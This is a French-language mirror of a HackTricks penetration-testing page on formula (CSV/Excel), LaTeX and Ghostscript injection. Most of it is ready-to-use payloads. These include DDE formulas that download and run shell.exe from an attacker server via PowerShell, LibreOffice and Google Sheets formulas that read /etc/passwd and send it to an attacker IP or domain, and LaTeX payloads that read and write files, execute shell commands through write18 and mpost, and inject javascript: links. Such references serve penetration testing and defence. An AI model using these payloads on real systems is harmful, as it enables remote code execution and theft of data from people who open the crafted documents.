mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
207 lines
12 KiB
Markdown
207 lines
12 KiB
Markdown
# Injection de Formule/CSV/Doc/LaTeX/GhostScript
|
|
|
|
{% hint style="success" %}
|
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Formation HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Formation HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Soutenir HackTricks</summary>
|
|
|
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Injection de Formule
|
|
|
|
### Info
|
|
|
|
Si votre **entrée** est **réfléchie** à l'intérieur des **fichiers CSV** (ou tout autre fichier qui sera probablement ouvert par **Excel**), vous pourrez peut-être insérer des **formules** Excel qui seront **exécutées** lorsque l'utilisateur **ouvre le fichier** ou lorsque l'utilisateur **clique sur un lien** à l'intérieur de la feuille Excel.
|
|
|
|
{% hint style="danger" %}
|
|
De nos jours, **Excel alertera** (plusieurs fois) l'**utilisateur lorsque quelque chose est chargé depuis l'extérieur d'Excel** afin de l'empêcher d'agir de manière malveillante. Par conséquent, un effort spécial en ingénierie sociale doit être appliqué au payload final.
|
|
{% endhint %}
|
|
|
|
### [Liste de mots](https://github.com/payloadbox/csv-injection-payloads)
|
|
```
|
|
DDE ("cmd";"/C calc";"!A0")A0
|
|
@SUM(1+9)*cmd|' /C calc'!A0
|
|
=10+20+cmd|' /C calc'!A0
|
|
=cmd|' /C notepad'!'A1'
|
|
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
|
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
|
```
|
|
### Hyperlink
|
|
|
|
**L'exemple suivant est très utile pour exfiltrer du contenu de la feuille Excel finale et pour effectuer des requêtes vers des emplacements arbitraires. Mais cela nécessite que l'utilisateur clique sur le lien (et accepte les avertissements).**
|
|
|
|
L'exemple suivant a été tiré de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
|
|
|
Imaginez qu'une violation de sécurité dans un système de gestion des dossiers étudiants soit exploitée par une attaque par injection CSV. L'intention principale de l'attaquant est de compromettre le système utilisé par les enseignants pour gérer les détails des étudiants. La méthode implique que l'attaquant injecte une charge utile malveillante dans l'application, en entrant spécifiquement des formules nuisibles dans des champs destinés aux détails des étudiants. L'attaque se déroule comme suit :
|
|
|
|
1. **Injection de la Charge Utile Malveillante :**
|
|
* L'attaquant soumet un formulaire de détails d'étudiant mais inclut une formule couramment utilisée dans les tableurs (par exemple, `=HYPERLINK("<malicious_link>","Cliquez ici")`).
|
|
* Cette formule est conçue pour créer un hyperlien, mais elle pointe vers un serveur malveillant contrôlé par l'attaquant.
|
|
2. **Exportation des Données Compromises :**
|
|
* Les enseignants, inconscients de la compromission, utilisent la fonctionnalité de l'application pour exporter les données dans un fichier CSV.
|
|
* Le fichier CSV, une fois ouvert, contient toujours la charge utile malveillante. Cette charge utile apparaît comme un hyperlien cliquable dans le tableur.
|
|
3. **Déclenchement de l'Attaque :**
|
|
* Un enseignant clique sur l'hyperlien, croyant qu'il fait partie des détails légitimes de l'étudiant.
|
|
* En cliquant, des données sensibles (potentiellement y compris des détails du tableur ou de l'ordinateur de l'enseignant) sont transmises au serveur de l'attaquant.
|
|
4. **Enregistrement des Données :**
|
|
* Le serveur de l'attaquant reçoit et enregistre les données sensibles envoyées depuis l'ordinateur de l'enseignant.
|
|
* L'attaquant peut alors utiliser ces données à diverses fins malveillantes, compromettant davantage la vie privée et la sécurité des étudiants et de l'institution.
|
|
|
|
### RCE
|
|
|
|
**Vérifiez le** [**post original**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **pour plus de détails.**
|
|
|
|
Dans des configurations spécifiques ou des versions plus anciennes d'Excel, une fonctionnalité appelée Dynamic Data Exchange (DDE) peut être exploitée pour exécuter des commandes arbitraires. Pour en tirer parti, les paramètres suivants doivent être activés :
|
|
|
|
* Allez dans Fichier → Options → Centre de gestion de la confidentialité → Paramètres du Centre de gestion de la confidentialité → Contenu externe, et activez **Lancement du serveur Dynamic Data Exchange**.
|
|
|
|
Lorsqu'un tableur avec la charge utile malveillante est ouvert (et si l'utilisateur accepte les avertissements), la charge utile est exécutée. Par exemple, pour lancer l'application calculatrice, la charge utile serait :
|
|
```markdown
|
|
=cmd|' /C calc'!xxx
|
|
```
|
|
Des commandes supplémentaires peuvent également être exécutées, telles que le téléchargement et l'exécution d'un fichier à l'aide de PowerShell :
|
|
```bash
|
|
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
|
|
```
|
|
### Inclusion de Fichiers Locaux (LFI) dans LibreOffice Calc
|
|
|
|
LibreOffice Calc peut être utilisé pour lire des fichiers locaux et exfiltrer des données. Voici quelques méthodes :
|
|
|
|
* Lire la première ligne du fichier local `/etc/passwd` : `='file:///etc/passwd'#$passwd.A1`
|
|
* Exfiltrer les données lues vers un serveur contrôlé par l'attaquant : `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
|
* Exfiltrer plus d'une ligne : `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
|
* Exfiltration DNS (envoi des données lues sous forme de requêtes DNS à un serveur DNS contrôlé par l'attaquant) : `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
|
|
|
### Google Sheets pour l'Exfiltration de Données Hors-Bande (OOB)
|
|
|
|
Google Sheets propose des fonctions qui peuvent être exploitées pour l'exfiltration de données OOB :
|
|
|
|
* **CONCATENATE** : Concatène des chaînes - `=CONCATENATE(A2:E2)`
|
|
* **IMPORTXML** : Importe des données à partir de types de données structurées - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
|
* **IMPORTFEED** : Importe des flux RSS ou ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
|
* **IMPORTHTML** : Importe des données à partir de tables ou de listes HTML - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
|
* **IMPORTRANGE** : Importe une plage de cellules d'une autre feuille de calcul - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
|
* **IMAGE** : Insère une image dans une cellule - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
|
|
|
## Injection LaTeX
|
|
|
|
En général, les serveurs que l'on trouve sur Internet qui **convertissent le code LaTeX en PDF** utilisent **`pdflatex`**.\
|
|
Ce programme utilise 3 attributs principaux pour (dés)autoriser l'exécution de commandes :
|
|
|
|
* **`--no-shell-escape`** : **Désactive** la construction `\write18{command}`, même si elle est activée dans le fichier texmf.cnf.
|
|
* **`--shell-restricted`** : Identique à `--shell-escape`, mais **limité** à un ensemble 'sûr' de **commandes prédéfinies** (**Sur Ubuntu 16.04, la liste se trouve dans `/usr/share/texmf/web2c/texmf.cnf`).
|
|
* **`--shell-escape`** : **Active** la construction `\write18{command}`. La commande peut être n'importe quelle commande shell. Cette construction est normalement interdite pour des raisons de sécurité.
|
|
|
|
Cependant, il existe d'autres moyens d'exécuter des commandes, donc pour éviter RCE, il est très important d'utiliser `--shell-restricted`.
|
|
|
|
### Lire le fichier <a href="#read-file" id="read-file"></a>
|
|
|
|
Vous pourriez avoir besoin d'ajuster l'injection avec des wrappers comme \[ ou $.
|
|
```bash
|
|
\input{/etc/passwd}
|
|
\include{password} # load .tex file
|
|
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
|
|
\usepackage{verbatim}
|
|
\verbatiminput{/etc/passwd}
|
|
```
|
|
#### Lire un fichier à une seule ligne
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/issue
|
|
\read\file to\line
|
|
\text{\line}
|
|
\closein\file
|
|
```
|
|
#### Lire un fichier à plusieurs lignes
|
|
```bash
|
|
\newread\file
|
|
\openin\file=/etc/passwd
|
|
\loop\unless\ifeof\file
|
|
\read\file to\fileline
|
|
\text{\fileline}
|
|
\repeat
|
|
\closein\file
|
|
```
|
|
### Écrire un fichier <a href="#write-file" id="write-file"></a>
|
|
```bash
|
|
\newwrite\outfile
|
|
\openout\outfile=cmd.tex
|
|
\write\outfile{Hello-world}
|
|
\closeout\outfile
|
|
```
|
|
### Exécution de commande <a href="#command-execution" id="command-execution"></a>
|
|
|
|
L'entrée de la commande sera redirigée vers stdin, utilisez un fichier temporaire pour l'obtenir.
|
|
```bash
|
|
\immediate\write18{env > output}
|
|
\input{output}
|
|
|
|
\input{|"/bin/hostname"}
|
|
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
|
|
|
|
# allowed mpost command RCE
|
|
\documentclass{article}\begin{document}
|
|
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
|
|
\end{document}
|
|
|
|
# If mpost is not allowed there are other commands you might be able to execute
|
|
## Just get the version
|
|
\input{|"bibtex8 --version > /tmp/b.tex"}
|
|
## Search the file pdfetex.ini
|
|
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
|
|
## Get env var value
|
|
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
|
|
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
|
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
|
```
|
|
Si vous obtenez une erreur LaTex, envisagez d'utiliser base64 pour obtenir le résultat sans mauvais caractères.
|
|
```bash
|
|
\immediate\write18{env | base64 > test.tex}
|
|
\input{text.tex}
|
|
```
|
|
|
|
```bash
|
|
\input|ls|base4
|
|
\input{|"/bin/hostname"}
|
|
```
|
|
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
|
|
|
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|
```bash
|
|
\url{javascript:alert(1)}
|
|
\href{javascript:alert(1)}{placeholder}
|
|
```
|
|
## Injection Ghostscript
|
|
|
|
**Vérifiez** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
|
|
|
|
## Références
|
|
|
|
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
|
|
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
|
|
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
|
|
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
|
|
|
|
|
|
{% hint style="success" %}
|
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Soutenir HackTricks</summary>
|
|
|
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
|
|
|
</details>
|
|
{% endhint %}
|